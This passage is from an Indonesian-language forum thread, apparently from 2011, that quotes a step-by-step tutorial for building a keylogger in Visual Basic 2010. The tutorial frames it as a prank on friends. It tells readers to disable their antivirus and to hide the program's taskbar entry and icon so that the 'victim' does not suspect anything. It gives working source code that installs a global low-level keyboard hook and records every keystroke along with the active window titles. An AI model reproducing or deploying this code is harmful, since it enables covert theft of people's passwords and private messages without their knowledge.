TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
End If
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
strin = GetActiveWindowTitle()
End If
End Sub
End Class klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini 6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug, Hilangkan centangan pada tulisan Enable the Visual Studio hosting processuntuk lebih jelasnya,lihat gambar berikut : SS langkah 1 : [You must be registered and logged in to see this image.]SS langkah 2 : [You must be registered and logged in to see this image.]7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja 7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini : [You must be registered and logged in to see this image.]jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All. | |
| | | | aprianta_surbakti
Sesepuh
Jumlah posting : 357
Join date : 2011-03-06
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 2:01 pm | |
| - RieqyNS13 wrote:
- membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
komponen VB 2010 :
1) 1 Timer
2) 1 TextBox
3) 2 Label
=========
Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu
1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini :
[You must be registered and logged in to see this image.]
1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut :
[You must be registered and logged in to see this image.]
2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False.
gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga
[You must be registered and logged in to see this image.]
3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini :
- Code:
-
Public Class Form1
End Class
4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih
5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut :
- Code:
-
Public Class Form1
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
